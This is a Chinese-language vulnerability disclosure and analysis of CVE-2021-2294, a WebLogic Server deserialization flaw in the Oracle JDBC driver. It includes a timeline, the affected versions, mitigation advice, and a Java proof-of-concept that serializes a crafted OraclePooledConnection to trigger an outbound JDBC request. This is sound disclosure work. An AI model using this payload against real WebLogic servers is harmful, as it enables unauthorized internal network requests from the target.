作者:thiscodecc@墨云科技VLab Team
原文鏈接:https://mp.weixin.qq.com/s/lUAkk9iI1yUBjy4l1eFYpg
漏洞簡述
2021年1月12日,墨云安全V-Lab實驗室向Oracle官方報告了Weblogic Server 反序列化JDBC漏洞,2021年4月21日Oracle發布了致謝信息。
2019年11月底Yang Zhang等人在BlackHat上有個議題,提到MySQL JDBC客戶端反序列化漏洞。議題地址 https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
讀完這個議題后覺得挺有意思的,于是花了一些時間在WebLogic中找了一條在反序列化調用鏈中能發起JDBC請求的調用鏈,但是在jdbc請求的過程中我并沒有發現執行ObjectInputStream.readObject的地方,由于WebLogic在高版本的JDK中使用了JEP290特性注冊了ObjectInputFilter,那么即使我發現有ObjectInputStream.readObject的地方應該也無法進行RCE。用這種方法去讀取weblogic上面的文件時,我直接使用惡意的mysql db沒有成功讀取到weblogic上面的文件,惡意的oracle db網上沒有現成的,這里我選擇了放棄自己寫一個惡意的oracle db,最后給oracle提交這個漏洞的時候,只能證明在內網發起一個jdbc請求,危害比較低,cvss評分只有6.5。
時間線
- 2021年1月12日向Oracle官方報告了此漏洞
- 2021年1月13日Oracle分配了issue編號
- 2021年1月25日Oracle確認在下一個補丁日修復此漏洞
- 2021年4月17日Oracle分配CVE編號CVE-2021-2294
- 2021年4月21日Oracle發布致謝信息
影響版本
- 10.3.6.0.0
- 12.1.3.0.0
- 12.2.1.3.0
- 12.2.1.4.0
- 14.1.1.0.0
漏洞分析
漏洞代碼位于ojdbc6.jar(這個漏洞是影響全版本的,不同版本的weblogic引入的jar不一樣,測試可以把ojdbc*.jar引入到項目里面),oracle.jdbc.pool.OraclePooledConnection.class文件的readObject方法調用了this.oracleDriver.connect

->

->

->

->

->

->

->

在這里發起了jdbc請求
驗證POC:
java.util.Properties jup = new java.util.Properties();
jup.setProperty("InitialLimit", "1");
jup.setProperty("MinLimit", "1");
jup.setProperty("MaxLimit", "2");
Class<?> aClass = Class.forName("oracle.jdbc.driver.OracleDriverExtension");
Class<?> aClass1 = Class.forName("oracle.jdbc.driver.T4CConnection");
Constructor<?> declaredConstructor1 = aClass1.getDeclaredConstructor(String.class, Properties.class, aClass);
declaredConstructor1.setAccessible(true);
//ip
String ip = "127.0.0.1:1111";
Object o = declaredConstructor1.newInstance("jdbc:oracle:thin:@" + ip + ":src", jup, null);
//password
Constructor<OpaqueString> declaredConstructor = OpaqueString.class.getDeclaredConstructor(String.class);
declaredConstructor.setAccessible(true);
OpaqueString opaqueString = declaredConstructor.newInstance("123456");
Field password = aClass1.getDeclaredField("password");
password.setAccessible(true);
password.set(o, opaqueString);
//userName
Class<?> aClass2 = Class.forName("oracle.jdbc.driver.GeneratedPhysicalConnection");
Field userName = aClass2.getDeclaredField("userName");
userName.setAccessible(true);
userName.set(o, "root");
OraclePooledConnection oraclePooledConnection = new OraclePooledConnection();
//physicalConn
Field physicalConn = oraclePooledConnection.getClass().getDeclaredField("physicalConn");
physicalConn.setAccessible(true);
physicalConn.set(oraclePooledConnection, o);
serialize(oraclePooledConnection, "./vlab.ser");
發送POC,wireshark抓流量看下

修復建議
1.禁用 T3 /IIOP協議:如果您不依賴 T3 /IIOP協議進行JVM通信,可通過暫時阻斷 T3 /IIOP 協議緩解此漏洞帶來的影響。
2.更新最新補丁,參考Oracle官網發布的補丁:
https://www.oracle.com/security-alerts/cpuapr2021.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1923/
暫無評論